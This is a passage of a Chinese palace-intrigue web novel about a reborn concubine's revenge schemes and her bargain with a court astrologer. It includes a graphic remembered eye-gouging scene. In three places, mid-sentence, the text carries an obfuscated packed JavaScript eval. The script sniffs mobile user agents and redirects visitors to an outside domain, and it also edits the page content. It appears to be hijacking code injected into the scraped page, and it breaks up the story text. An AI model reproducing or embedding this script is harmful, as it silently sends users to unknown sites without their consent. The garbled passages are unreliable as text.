雨水依旧冰冷地落下,穿过柳含烟透明的魂体,却无法穿透她为温招撑起的这片灵魂的庇护所。温招华贵的宫装早已湿透,沉重地贴在身上,但她的颤抖,却在那冰冷的“怀抱”和灵魂深处的暖流交织下,奇迹般地渐渐平息下来。 那翻江倒海的绝望和尖锐的诘问,被这汹涌的泪水冲刷着,虽然依旧沉重,却不再有那种灭顶的窒息感…… 珠露悬枝,其声渐沓,云隙忽破,天澄地澈。 雨…好像停了…而此刻的温招早已回到寝宫,缩在被褥里沉沉的睡去。但是……她貌似忘了一个人……没错,爬狗洞的某人要遭殃了…… 而另一旁,阮时逢摇着玉折扇出走聚欢阁,与那名带刀侍卫汇合。 “大人,可还顺利?”那带刀侍卫端正的领了一个礼,随后扶着阮时逢上了马车。 “那是!本座出马!必然是顺利!”阮时逢牛气哄哄的摸了一下鼻子。 “良妃娘娘可是答应与大人合作了?”带刀侍卫半信半疑的看向阮时逢,毕竟他家这位主子,多少有点不正经。 “这个…额…哈哈…她没拒绝!”阮时逢尴尬的笑了两声,挠了挠头,看向那带刀侍卫。“不是!贪狼!你何时这样爱问问题了!本座心里自然有数!那小姑娘性子虽然冷,但是肯定美人一般心都软的!本座这么风流倜傥、英俊潇洒、仪表堂堂、玉树临风、英姿飒爽……” 此时的贪狼默默的翻了一个白眼。“总之安啦安啦~她肯定会来司天监找本座的~”想到这阮时逢不禁贱兮兮的笑了起来,贪狼看着自家主子,心里默默念叨:没事…此时是亥时…不算做白日梦…夜里…可以做梦…… 两人来到冷宫墙外,阮时逢率先钻进狗洞,在他钻进去的一刹那,突然一股如刀尖般的痛感从灵魂深处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阮时逢站定了,喘着粗气,试图用还算干净的袖口去擦脸。可惜袖口也早就在钻洞和贴地时沾满了泥水,越擦越花,原本只是均匀的泥膜,现在变成了抽象派的泥画。左边一道,右边一坨,额头上还糊着一大块,眉毛和睫毛上挂着泥浆,整个人看起来狼狈又滑稽,活像刚从哪个泥塑作坊里逃出来的失败品。 “岂有此理!简直是岂有此理!”阮时逢气得跳脚,玉树临风的形象碎了一地,捡都捡不起来。“温招!好你个温招!本座一片赤诚与你合作,你不领情也就罢了!居然敢在本座的专属狗洞出入口设绊魂锁?!阴险!狡诈!简直是毒妇!蛇蝎美人!最毒妇人心!” 他每骂一句,脸上的泥浆就随着他夸张的表情簌簌往下掉一点,配合那气急败坏的声调,活像一只炸了毛、又被强行摁进泥里的孔雀。 贪狼默默地看着自家大人顶着那张五彩斑斓的抽象派泥画脸,在那里跳脚大骂深宫宠妃是“毒妇”,内心一片麻木,甚至开始思考这个月的俸禄够不够买两盒上好的香胰子给大人洗脸。毕竟看这架势,普通的井水怕是洗不干净了。 “大人……”贪狼面无表情,用一种近乎麻木的平静语调,精准地往自家大人那熊熊燃烧的怒火上泼了一盆冰水,“您不是也拿金元宝砸人家脑袋来着吗……” 阮时逢那慷慨激昂、唾沫与泥浆齐飞的控诉戛然而止。 他像一只突然被捏住了脖子的尖叫鸡,维持着怒发冲冠的姿势,僵在了原地。那张色彩斑斓的泥脸,表情瞬间凝固,从愤怒的“孔雀开屏”变成了被雷劈中的“呆头鹅”。 “呃……”阮时逢卡壳了,喉咙里发出一声短促又心虚的气音。 是啊!他好像、似乎、大概……是先用金元宝偷袭人家良妃娘娘的脑袋来着?那金元宝……分量还不轻!砸在脑门上绝对能起个大包!可那能怪他吗?!他堂堂司天监国师,屈尊降贵钻狗洞来送温暖,结果那女人二话不说就放毒虫咬他!他那是正当防卫!是紧急避险!是……是战术性威慑! “贪!狼!本座是你主子还是她是你女主!”阮时逢梗着脖子,试图找回场子,腰杆子又挺直了几分。“你怎么帮着外人说话!!”面上却是一副‘你再帮温招说话,我就不活了’的样子。 阮时逢顶着一张“泥塑”脸,梗着脖子,活像一只被踩了尾巴还要强行炸毛的落汤鸡。那委屈控诉的眼神,简直要把“你不爱我了”几个大字刻在脑门上。 贪狼看着自家国师大人这副“泥人撒娇”的尊容,只觉得一股寒意从脚底板直冲天灵盖,比面对十万阴兵还让他头皮发麻。他默默地、沉重地叹了口气,那叹息里饱含了百年俸禄也买不回的沧桑感。 “大人,”贪狼的声音平板无波,带着一种认命的疲惫,“时辰不早了,明日还要上朝参政……” 阮时逢这才一拍脑门,连忙又钻进狗洞。 在一片吵闹声中,两人回了司天监…… 11.011 晨曦微露,鸟鸣轻叩窗棂,晨雾吻过带露的叶尖,在窗纸上洇开一片朦胧的湿意。 温招正坐在菱花铜镜前,纤指拈着一支细若柳叶的黛笔,专注地描摹着自己的眉峰。镜中人影清丽,眉目如画,却笼着一层挥之不去的疏离。铜镜映出的光影,勾勒出她颈项优美的弧度,也映着身后那扇紧闭的门。 “皇上到!!!” 一声尖利刺耳的宣告毫无预兆地撕裂了清晨的静谧,直直刺入耳畔。温招执笔的手几不可察地顿了一下,墨点险些偏离了预想的轨迹。她长长的睫毛垂落,掩去眸底瞬间翻涌的复杂,随即迅速恢复了沉静。 她放下眉笔,起身,转身,动作流畅而恭谨,对着那刚刚下朝、一身玄色龙袍尚带着朝堂霜雪气息的帝王,端端正正地行了一个无可挑剔的礼。 “臣妾参见陛下。” 常青大步流星地走了进来,带进一股属于清晨的微凉和属于帝王的威压。他目光如炬,瞬间便锁定了铜镜前刚刚起身的温招,以及镜台上那支搁置的眉笔。 他没有立刻叫她起身,视线在她尚未完全画好的眉梢停留了一瞬,又移向她低垂恭顺的脸庞。 “免礼。”他的声音低沉,听不出太多情绪。 温招依言站直,眼观鼻,鼻观心,姿态温婉而疏离。 常青踱步上前,高大的身影几乎将温招笼罩,他停在妆台前,目光再次落在那支细小的黛笔上。殿内一时静极,只有更漏滴水声和两人清浅的呼吸。 常青忽然开口:“ 替花笑,红袖若为招的招,可是招儿的招?” 温招似是没想到,顿了一下,应了下来:“陛下说是,那便是。” 忽然,他伸出手,不是去碰温招,而是直接拿起了那支她刚刚放下的眉笔。 温招下意识地抬眼看向他。 常青指节分明的手指捻着那支纤细的笔,目光却灼灼地落在她脸上,尤其是那半边尚未完工的眉。他唇角似乎勾起一丝极淡、却让人捉摸不透的弧度。 “朕来。”两个字,低沉而清晰,带着不容置喙的意味,像是一道旨意。 温招整个人都僵住了。常青这是发什么疯?一下朝就来她这里,只为了给她画眉?再说她怎会让他画!温招甚至忘了维持那份刻意的恭顺,樱唇微张,难以置信地看着常青。 “陛下……”她下意识地想要后退,身体却像被钉在原地,“这如何使得?臣妾惶恐……” “使得。”常青打断她,语气平淡却蕴含着不容反抗的力量。他上前一步,两人之间的距离骤然缩短,近得温招能清晰地闻到他龙袍上沾染的淡淡沉水香和朝堂的墨味。 他伸出手,微凉的手指带着薄茧,轻轻捏住了她的下颌,力道不大,却足以让她无法再躲闪。 温招被迫微微仰起头,迎上他深邃莫测的目光。她能感觉到他指尖的触感和温度,带着一种奇异的、令人心悸的侵略性。 他俯视着她,眼神专注得仿佛在审视一件稀世珍宝,又像是在研究一道难解的谜题。可这些对于温招来说,此刻只觉得恶心和厌恶。 他执着黛笔的手抬了起来,笔尖悬停在她未画完的眉梢上方,只需稍稍落下,便能完成她方才未竟的动作。空气仿佛凝固了,铜镜映出两人此刻的姿态。 常青微倾着身,一手钳制着温招的下颌,一手执笔,而那被钳制的女子,身体微微绷紧,长睫如蝶翼般轻轻地颤动,内心翻江倒海的惊涛骇浪。 笔尖,悬而未决。 那一点浓黑的墨,凝在细若柳毫的笔尖,像一滴欲坠未坠的毒露,悬在温招未竟的眉梢之上。 常青的手指稳如磐石,捏着她下颌的力道却透着一种不容置疑的掌控,冰凉的指尖紧贴着她温热的肌肤,激起一阵细密的战栗,从颌骨一路蔓延至心尖,又化作针扎似的痛。 恶心! 这念头如同毒藤,瞬间绞紧了她的五脏六腑。什么画眉情趣?分明是羞辱,是驯服!至少在温招眼里是如此的。 他指尖薄茧摩擦着她下颌细腻的皮肤,那触感让她胃部一阵痉挛,几乎要呕出来。沉水香与冰冷墨汁的味道混合着男人身上的气息,霸道地侵占她的呼吸,让她窒息。 她身体的每一根弦都绷到了极致,像一张即将被拉断的弓。长睫剧烈地颤动,不是因为羞怯,而是因为滔天的怒火和几乎冲破喉咙的尖叫被死死压在喉间。 指甲深深嵌进柔软的掌心,尖锐的刺痛让她勉强维持着一丝清明,没有在下一秒就狠狠挥开那只钳制她的手。 “陛下……” 声音从齿缝里挤出,带着她自己都未曾察觉的、细微的颤抖,却硬生生挤出了一丝伪装的惶恐,“臣妾卑贱之躯,岂敢劳烦陛下圣手?恐污了陛下……” 她试图再次垂下眼帘,避开那令人作呕的视线,但常青捏着她下颌的手指微微用力,迫使她将那份屈辱的仰视维持得更彻底。 常青眉头微皱,他不明白,他明明给了她史无前例的宠爱,为何她如此冷淡又如此抵触。 常青捏着她下颌的手指微微用力,迫使她将那份屈辱的仰视维持得更彻底。他眉头微不可察地蹙起,深潭般的眼底掠过一丝极快的不解与阴霾。 为何? 这念头在他心头盘旋,带着一丝他自己都未曾察觉的烦躁。他贵为九五之尊,予她荣宠,踏足这清冷的宫殿,甚至纡尊降贵执笔为她描眉,这是何等的恩典。后宫多少女子梦寐以求,甚至不惜以命相搏。 为何偏偏她会如此?温招,这个他亲手给予旁人难以企及地位的女人,面对他的亲近,眼中翻涌的竟不是受宠若惊,而是深如寒潭的厌恶与抵触? 那眼神,像淬了冰的针,狠狠扎进他掌控一切的帝王心魄深处。他给予的宠爱,在她这里,竟成了避之不及的瘟疫? 那份认知,比朝堂上任何明枪暗箭都更让他感到一种奇异的、被冒犯的刺痛。 他捏着她下颌的手指,无意识地收紧了一瞬,指节泛白,仿佛要将那份不识好歹的抵触捏碎在她骨头里!然而,就在那力道即将失控的边缘… 罢了… 一个带着疲惫与一丝不易察觉的…退让的念头,如同冰冷的潮水,倏地浇熄了他眼底翻腾的阴鸷与愠怒。 许是她刚入宫…还不适应吧… 这念头来得突兀又苍白,甚至带着点自欺欺人的意味。帝王的心,何曾需要为旁人的“不适应”找借口?可这念头偏偏就在那根名为“温招”的心弦被狠狠拨动时,不受控制地冒了出来。 他捏着她下颌的手指,像是被那冰凉的念头冻住,又像是被某种无形的力量拉扯,缓缓地、缓缓地垂了下来。 那悬停在温招眉梢之上的笔尖,也仿佛失去了支撑的意志,无声无息地移开了,最终,颓然垂落在常青身侧。 方才那剑拔弩张、几乎要撕裂空气的紧张感,如同被抽走了所有的声音和色彩,只剩下无边无际、令人窒息的沉默。 常青垂着眼帘,目光落在自己方才捏过温招下颌的手指上。那指尖仿佛还残留着她肌肤的微凉触感,以及那份深入骨髓的抗拒带来的奇异刺痛。这份沉默,于他而言,比任何一场朝堂争锋都更耗费心神。 最终,是他率先打破了这令人窒息的对峙。声音低沉,听不出太多波澜,却像投入死水潭的石子,激起千层看不见的暗涌: “听闻梁婕妤之事将你吓着了?” 温招的身体几不可察地轻颤了一下。“回陛下……” 她顿了顿,“臣妾昨夜……经梁婕妤之事后,便心神不宁,早早便睡下了。” 话音落下,如同石沉大海。 没有回应。 常青没有点头,没有质疑,甚至没有任何一丝表示他听到了的细微动作。 方才那被打破的沉默,以更汹涌、更粘稠的姿态,瞬间反扑回来,死死扼住了整个殿宇的咽喉。 温招突然像是想起了什么开口:“陛下,梁婕妤引邪祟入体,可有叫国师去一探究竟?” 温招清楚,常青断定的皇后干的好事,可那在佛堂的邪物,只有常青去了佛堂,不知他有没有看到?亦或是阮时逢在框她,有什么阴谋…… 常青闻言一顿,随后点了点头:“朕唤阮爱卿去了佛堂。”但他隐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15932675|176822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞒了在皇后那发现的稻草娃娃,只是说他找阮时逢去过。 任谁都能看出,常青在偏袒赵灵汐,赵灵汐便是当朝母仪天下的皇后。可偏偏温招像是想起了什么,睫毛轻轻颤了颤,轻声道:“一尸两命……就如此了吗……” 常青愣住了,他和温招都是聪明人,只是他没料到温招会这么胆大,直接揭开了帝王决策的遮羞布。他抿了抿薄唇,声音有些沙哑。 “灵汐如今……还动不得。” 常青的声音很轻,像殿外飘进来的碎雪,落在温招耳中却格外刺耳。她忽然笑了,唇角弯起的弧度极淡,那笑意却半点没沾进眼底,反倒像淬了冰的刀子,冷得人发颤。“动不得?” 她重复这三个字,尾音微微挑着,带着毫不掩饰的讥讽,“皇上这话,是说她赵灵汐动不得,还是说她那位手握兵权的父亲,动不得?” 话音落时,殿里的风都似凝住了。烛火“噼啪”跳了一下,将常青骤然沉下的脸照得明暗不定。他像是被这句话狠狠刺了一下,指尖猛地攥紧了腰间玉佩,指节泛白,猛地甩了袖:“此事招儿不必再提。朕……自有计较。” “计较?”温招望着他,眼底那点残存的暖意彻底散了,只剩下一片深不见底的凉寂,像被寒潭浸过似的,“那皇上打算计较到何时?”她往前半步,裙摆扫过地面,发出极轻的声响。 “等到来年阶前的玉兰开了又败?等过了年节,守岁的烛燃成灰烬?还是等梁婕妤的魂魄在这深宫夜里哭够了,连轮回的路都记不清了,连自己是怎么没的都忘了?” 常青闭了眼,长长的睫毛在眼下投出一片浅淡的阴影,喉结滚动了一下,声音低哑得像是从齿缝里挤出来的:“有些事……不是朕不愿。是朕……不能。” 是啊,他不能,保皇一派的大头不就是赵灵汐的爹吗,在这种时候自断一臂,他常青如此聪慧怎会如此。 温招忽然笑了。那笑意漫过唇角时还带着几分释然的轻飘,落到眼底却只剩一片空荡荡的凉,像被风卷走最后一片叶的枝桠,连残影都淡得快要散了。 她抬眼望向常青,声音平平静静的,却字字都像浸了寒潭的水:“若那日被暗害的是臣妾呢?若此刻躺在棺木里、连魂魄都不得安宁的是臣妾呢?” 她顿了顿,看着他骤然僵住的侧脸,轻声追问,“皇上是不是也会为了那所谓的朝堂稳固,任由凶手在眼前笑盈盈地请安问暖,把追查的日子一拖再拖,拖到连血腥味都散干净了?” 殿里静得能听见烛火跳花的轻响。常青垂着眼,指尖不知何时已掐进掌心,留下几道弯月似的红痕。沉默像潮水般漫过梁柱,过了许久,他才缓缓抬眼,声音哑得像被砂纸磨过:“不会有那一天。” 他望着她,眼底翻涌着未说尽的痛悔与决绝,一字一顿道:“朕定会护着你,拼尽一切也会护着你断不会让你……再步寰儿的后尘。” 最后几个字落时,常青喉结狠狠滚了滚,像是把什么滚烫的东西硬生生咽了回去。温招看着他眼底那片挣扎的红,忽然觉得这殿里的暖炉再旺,也焐不热眼前帝王的心。 她看着他,看着她上一世侍奉了那么多久的夫君,看着她上一世爱慕了那么多年的帝王,温招慢慢笑了。浅浅的笑意先从她眼尾漫出来,像初春化雪时檐角淌下的细流,无声无息顺着脸颊往下淌。 梁婕妤不懂,后宫的嫔妃们依旧不懂,先动心的人,只会成为败者。帝王心,暖不透,捂不热,猜忌、权势、利用……她们不过是她稳固地位的棋子罢了,用过了…随意一丢,挂在树梢、撇在山谷、亦或是像温招前世一样被丢弃在乱葬岗。 上一世的常青,怎会不知她是被冤枉的,他或许是爱过她的,可他更爱自己的地位,更爱自己的江山,更爱他身居的皇位…… 初逢之际,一眼倾心,心遂笃定,以为得半生之归处;然终至,却发觉全盘皆误,尽皆付诸东流。 恨吗…该恨谁……怨吗……又该怨谁……恨帝王薄情还是怨自己的一腔真心…… 一生荣枯,沉浮数十载,终不过风卷云散,转瞬便成他人唇边淡言之笑谈耳…… 12.012 青瓦之上,古亭遍覆苍苔;絮雨初停,钟声渐隐渐埋。 温招指尖拂过冰冷的窗棂,目光穿透朦胧水汽,落向宫墙之外那片模糊不清的远方。不能再等了。无论是那些笑里藏刀、恨不得将她生吞活剥的莺莺燕燕,还是龙椅上那位看似情深、实则心冷如铁的常青帝,都让她每一寸骨头缝里都渗着寒意。 报仇?自然是要报的。赵灵汐欠下的血债,她刻在心尖上,日夜不敢忘。可如今看来,常青对那女人护得紧,一时半刻怕是动不得。若强行出手,以常青那多疑又自负的性子,第一个被揪出来挫骨扬灰的,必然是她温招。 一丝极淡、几乎融于水汽的冷笑,在她唇边无声漾开,又迅速敛去,快得像从未出现过。硬碰硬是蠢人才做的事。她要活,还要赵灵汐死得其所,更要常青……痛彻心扉。 “魑惊。”她唤道,声音不高,却带着一种奇异的穿透力,在空寂的殿内回荡。 魑惊走进屋内,恭敬的行礼:“娘娘有何吩咐?” “备一身宫女的衣服。”温招吩咐,声音平静无波,像是在说一件再寻常不过的事,“要最普通的那种,浆洗得发硬也无妨。” 魑惊愣了一下,但也没有多问,毕竟娘娘的心思,她猜不透,但只要温招开口,她便会寻来她所要的一切。 魑惊的动作极快,不过半盏茶的功夫,便将一套半旧的靛蓝色宫女服捧了进来。布料果然浆洗得有些发硬,领口袖边磨出了毛边,带着一股淡淡的皂角味和旧宫室特有的、挥之不去的微凉潮气。 温招垂眸,指尖捻过那粗糙的布料,触感生涩,与她身上惯穿的、常青帝赏赐的云锦天差地别。一丝难以察觉的温和掠过眼底,快得如同烛火被风吹偏的一瞬,随即被更深沉的冰寒覆盖。这身皮囊,不过是通往目的地的工具。 她褪下华贵的宫装,如同蜕去一层无用的蝉蜕。靛蓝的粗布裹上纤细的身躯,瞬间敛去了“良妃”那身足以刺痛某些人眼睛的、灼灼其华的光彩。 她散开发髻,只用一根最寻常的木簪松松挽起,额前垂下几缕碎发,遮住那双过于清亮、也过于冷冽的眸子。 赵灵汐、常青、她的好爹爹……还有那些她尚未查到的人,上一世的那些笔账,她都会一笔一笔的讨回来。 温招拿起了那张银色面具扣在脸上。面具后的眼睛,比窗外清晨的薄雾更沉,更冷。 魑惊垂手侍立在一旁,头埋得更低了些。她看着眼前这褪尽华服、敛去锋芒的女子,一身粗陋宫装,却比身着丝绸华服时更令人心悸。 那是一种剥离了所有伪装、只剩下纯粹执念的锋利,像淬了剧毒的冰棱,无声无息,却触之即死。娘娘此刻的气息,让她想起幼时在深山里见过的、蛰伏在枯叶下准备给猎物致命一击的毒蛇。 “娘娘……”魑惊的声音带着一丝不易察觉的干涩,她甚至不敢去看那银面下透出的眼神。 温招没有回应,只是微微侧首。面具光滑的弧面映着殿内幽暗的光线,模糊地扭曲了窗棂的影子,也彻底模糊了她所有的表情。她抬手,指尖在面具冰冷的边缘轻轻划过,如同抚摸一件趁手的凶器。 “守在这里。”她的声音透过面具传来,比平时更低哑,也更无机质,带着一种非人的空洞,“任何人来,都说本宫染了风寒,不见。” “是。”魑惊应得干脆,心却沉甸甸地坠下去。她知道不知晓温招要去干嘛,但如此打扮,定然是不想让人知晓,自己只要做好娘娘吩咐的便足够了,尽量……不给温招拖后腿…… 温招从栖梧宫的侧门走出,佝偻着背,躲避着打扫得宫人们,一路上佝偻着背低着头,很少有人注意到一个如此不起眼的宫女,就算注意到了也不会当回事,毕竟她要去的是司天监,后妃去司天监无非是祈福,可她要去见的是阮时逢,指不定,日后见面的次数多着呢,自然不能让旁人知晓她的踪迹。 木几上的银壶之嘴初吐一缕白烟之际,檀木窗棂之外,雨丝正斜穿而过。 温招避开众人,今日不知怎的司天监的后门竟无人看守,温招借此溜了进去,待到正殿里却发现四下无人,她找了一圈出来,最终却在后院的那棵槐树上看到了阮时逢。 此刻的阮时逢正翘着二郎腿在司天监的房顶上,嘴里还叼着一根不知道从哪里弄来的稻草,一本《卜筮正宗》正扣在脸上,看样子应当是睡着了。 温招站定在槐树下,声音透过冰冷的银面具传出,不高,却清晰得足以穿透细密的雨丝:“阮大人好雅兴。” 书册下的嘴角似乎极轻微地勾了一下,随即,那本《卜筮正宗》被一只骨节分明的手懒洋洋地掀开。 阮时逢歪着头,嘴里那根稻草随着他说话轻轻晃动:“哟,哪阵风把……嗯?”他眯起眼,打量着树下那个粗布宫装的纤细身影,目光最终落在那张毫无表情的银面具上,尾音拖得有些意味深长,“……把这么貌美如花的娘娘吹来了?娘娘这身装扮是特意给微臣看的吗?” 他语调轻松,带着点惯常的调侃。话音未落,他本想耍个帅,三两下潇洒地从房顶上跳下来,彰显一下自己身手不凡。结果刚一起身,翘着的那条二郎腿麻了,一个趔趄。 阮时逢“哎哟”一声,整个人像个滚地葫芦般从那槐树上直直摔了下来。姿势实在称不上优雅,甚至有点狼狈。 “噗通”一声闷响,他结结实实摔在槐树下松软的泥地上,溅起几点浑浊的水花。那根宝贝稻草早不知飞哪儿去了,《卜筮正宗》也脱了手,可怜兮兮地躺在几步开外的水洼里。 温招面具后的眉头几不可察地蹙了一下,默默往后退了小半步,避开了溅起的泥点。她看着地上那个一时半会儿没爬起来的身影,银面具下的声音透着股凉飕飕的平静:“阮大人这‘落地式’,倒是别出心裁,令人耳目一新。” 阮时逢趴在地上,脸埋在湿泥和落叶里,肩膀可疑地耸动了两下,才哼哼唧唧地抬起头。脸上沾了点泥,额发凌乱,原本还算周正的官袍此刻皱巴巴裹在身上,活像只刚从泥塘里挣扎出来的鹤。 “咳咳……”他试图挽回一点颜面,一边手脚并用地爬起来,一边强作镇定地拍打身上的泥污,“娘娘谬赞了,微臣……微臣这是在体察地气!司天监嘛,观星测地,总得……亲身体验一番,方知深浅。嗯,对,就是这样。”他说得煞有介事,仿佛刚才那惊天动地的一摔真是某种高深的修行法门。 温招的目光落在他沾满泥巴的手背上,又移向他沾着枯叶的鬓角,最后定格在他那本泡在水洼里的《卜筮正宗》。她没说话,只是静静地站着,那无声的注视比任何嘲讽都更有力量。 阮时逢顺着她的视线看去,这才发现自己的“吃饭家伙”正可怜巴巴地泡着澡。“哎呦我的书!”他怪叫一声,也顾不上仪态了,一个箭步冲过去,捞起那本湿了大半的册子,心疼得直抽气,手忙脚乱地用袖子去擦,“罪过罪过……” 他一边抢救他的书,一边偷偷抬眼瞄温招。见她依旧像个没得感情的银面雕像般杵在那儿,一身粗布宫女服也掩不住那股子生人勿近的冷气。阮时逢眼珠转了转,擦书的动作慢了下来。 “娘娘,”他清了清嗓子,努力把表情调整得正经些,虽然脸上还挂着泥点,显得有些滑稽,“您这……微服私访到微臣这司天监,还专程来看微臣‘体察地气’,想必……可是答应了?” 温招的声音透过冰冷的银面具传来,平平的,听不出情绪。“本宫答应与大人你一同捉住佛堂中那邪物,只是本宫有条件。” “哦?”他眉梢微挑,雨水顺着他沾了泥的额发滑下,在他挺直的鼻梁上留下一道水痕,眼神却亮得惊人,带着洞悉一切的探究,“娘娘还有用得上微臣的事?还是说要微臣再帮您搞死两个嫔妃?”他问得直白,毫不掩饰对温招真实意图的猜测。 阮时逢自然知道温招并非什么菟丝花,能想到用子祭佛对付他人,岂会是一般之人,自从上次被温招在狗洞埋下的绊魂锁阴了一次之后,他再也不敢小瞧眼前的这个女人。 温招没有否认,也没有承认。她只是微微抬起了下颌,银面具在细雨中反射着幽冷的光。 “条件有三。”她的声音透过面具,清晰、冰冷,不容置疑,每一个字都像是冰珠砸在青石板上。 “其一,本宫要你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15953848|176822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想办法让本宫假死,彻底脱离皇宫和皇帝的掌控。”温招伸出一个手指在空中,比划了一下。 阮时逢僵住了,我嘞个天老爷啊,他的好娘娘啊,上来就玩这么大啊。他阮时逢何德何能让温招这么看得起他啊,在皇帝眼皮子底下把最受宠的妃子办个假死证明,他得有几个脑袋够掉的啊…… 阮时逢像是白猫似的偷偷就要溜走,他轻轻踮起脚尖,那双含情眼此刻滴溜圆的瞄着温招,一步…两步… “阮大人!”温招一句阮大人直接让阮时逢原地立正!“到!”阮时逢立刻挺直腰板,随即又蔫了下来。“不是微臣不帮您,这风险也太大了……”阮时逢哭丧着个脸,瘪着嘴,试图装可怜。 两人之间,气氛凝滞。 温招面具后的眼睛没有丝毫波澜。她看着阮时逢那副夸张的可怜相,缓缓踏前一步。靛蓝粗布鞋踩在湿泥上,悄无声息,却带着一种无形的压力。 “风险大?”她的声音透过冰冷的银面具传来,低沉,带着一种奇异的穿透力,直接刺入阮时逢的耳中,“那本宫给你的报酬,也足够大。” 阮时逢装模作样的哭腔顿住了,含情眼里的戏谑瞬间褪去,只剩下纯粹的警惕和一丝不易察觉的探究。 温招微微倾身,声音压得更低,如同耳语,却字字重若千钧,清晰地砸在阮时逢心上: “听闻,上任司天监国师有一诡术,可窥世人命途,但本宫听闻自从上一任国师去过温家,便得了失心疯……” 从李婆的回忆中,万诡门诡术众多,这窥天命法便是其一。万诡门惨遭灭门后只剩两位后人,一是李婆,另一位便是上一任国师。万诡门所有的诡术藏书都让两人分着带走了,以至于无数觊觎之人前往万诡门遗址都摸了个空。 只是自从去过了温家,此人便疯疯癫癫,嘴里念叨着听不懂的话术,没过多久便在司天监的房梁上上吊了。听闻在一旁的白墙上,还布满了密密麻麻的属于孩童的血手印…… 温招眯了眯眸子,她在赌,她在赌阮时逢对窥天命法的渴求程度。 她停顿了片刻,满意地看到阮时逢的瞳孔骤然收缩,连呼吸都停滞了一瞬。 她继续道,每一个字都像淬了毒的针:“本宫知道你在想什么。也知道那场意外之后,就无人再知晓此术了。” 她再次停顿,银面具后的目光如同冰冷的探针,刺入阮时逢翻涌着惊涛骇浪的眼底。 “可若是……” 她缓缓地,一字一顿地抛出最致命的诱饵,“……本宫知晓‘窥天命法’的藏书,藏在何处呢?” “轰隆!!!” 晴天打雷,禁忌渡劫。 一声闷雷滚过,仿佛为这禁忌之语敲响了丧钟。雨势似乎也骤然急了几分,砸在槐树叶上,噼啪作响。 阮时逢站在那里,他所有的伪装,油滑、戏谑、风流,在这一刻被彻底撕得粉碎。那双含情眼,此刻深不见底,翻涌着惊骇。 “娘娘……” 阮时逢的声音嘶哑得厉害,像是砂纸摩擦着喉咙,“……此话当真?” 温招面具后的嘴角似乎极其轻微地向上弯了一下,快得如同错觉。她没有直接回答,只是平静地反问,声音穿透雨幕,带着不容置疑的重量:“阮大人觉得,本宫此刻,有闲心与你玩笑么?” 在聪明人眼中,代价和筹码的关系,要么筹码大于代价,要么代价大于筹码,无论谁大于谁,只要对自己有力,这生意做的便不亏。 他盯着温招,试图从那毫无表情的银面具后看出哪怕一丝破绽。然而,只有一片深不见底的冰冷和笃定。 良久。 阮时逢猛地闭了闭眼,再睁开时,眼底翻涌的惊涛骇浪被强行压下,取而代之的是一种无奈。“真是怕了娘娘您了……”他低头嘀咕了两句,声音含混,像只被揪住后颈皮的猫,尾巴蔫蔫地垂着,装作一副极不情愿的样子。 “还有两个条件呢…您说吧,”他抬起头,脸上瞬间又挂起那副惯常的、带着点讨嫌的嬉笑,甚至还刻意抛了个媚眼,“对了!以身相许可不行~” 尾音拖得九曲十八弯,试图用插科打诨搅浑这要命的交易氛围…… 13.013 温招面具后的视线没有丝毫温度,仿佛他这拙劣的表演只是空气里无意义的杂音。她直接竖起第二根手指。 “其二,”她的声音透过银面具传来,比落雷更沉,带着一种冻结骨髓的平静,“本宫要赵灵汐的一双眼睛。” 阮时逢脸上的所有表情,都瞬间冻结、碎裂。他像是被一道无形的冰锥贯穿了心脏,瞳孔骤然缩紧,连呼吸都停滞了。 要眼睛?不是要命,而是要一双眼睛? 他下意识地看向温招脸上那张冰冷的银面具。面具光滑、毫无表情,只映出他自己骤然失色的脸孔。 一股寒意顺着他的脊椎猛地窜了上来。这不是寻常的仇恨,这是……刻骨的凌迟…… 温招仿佛没有看到他瞬间的僵硬和眼中翻涌的惊骇。她微微眯起了眼,隔着冰冷的面具,落回了某个鲜血淋漓、痛彻灵魂的瞬间。 上一世的痛,她永远记得。 赵灵汐那染着蔻丹、保养得宜的手指,是如何带着残忍的笑意,精准地抠进她的眼窝。她能清晰地“听”到眼球与眼窝深处组织、神经被硬生生扯断时那令人牙酸的、细微却清晰的撕裂声。黏腻,又带着一种诡异的脆响。 然后是……坠落。 那颗曾经映着锦绣宫阙、映着仇人面容的眼球,沉重地掉落在地上,在冰冷的地砖上滚了两圈,沾满了尘埃和血污。它似乎还残留着一点微弱的视觉,映出赵灵汐绣着金凤的华丽裙摆和那双精致绣鞋的鞋尖。 接着,是毁灭。 那只绣着金凤的鞋,带着一种漫不经心的、碾碎蝼蚁般的轻蔑,毫不留情地踩踏下来。“噗嗤……”一声沉闷而黏腻的爆裂声,仿佛熟透的浆果被踩烂。温热、滑腻的液体溅开,伴随着一种难以言喻的、彻底归于虚无的黑暗…… 这些……她都记得。 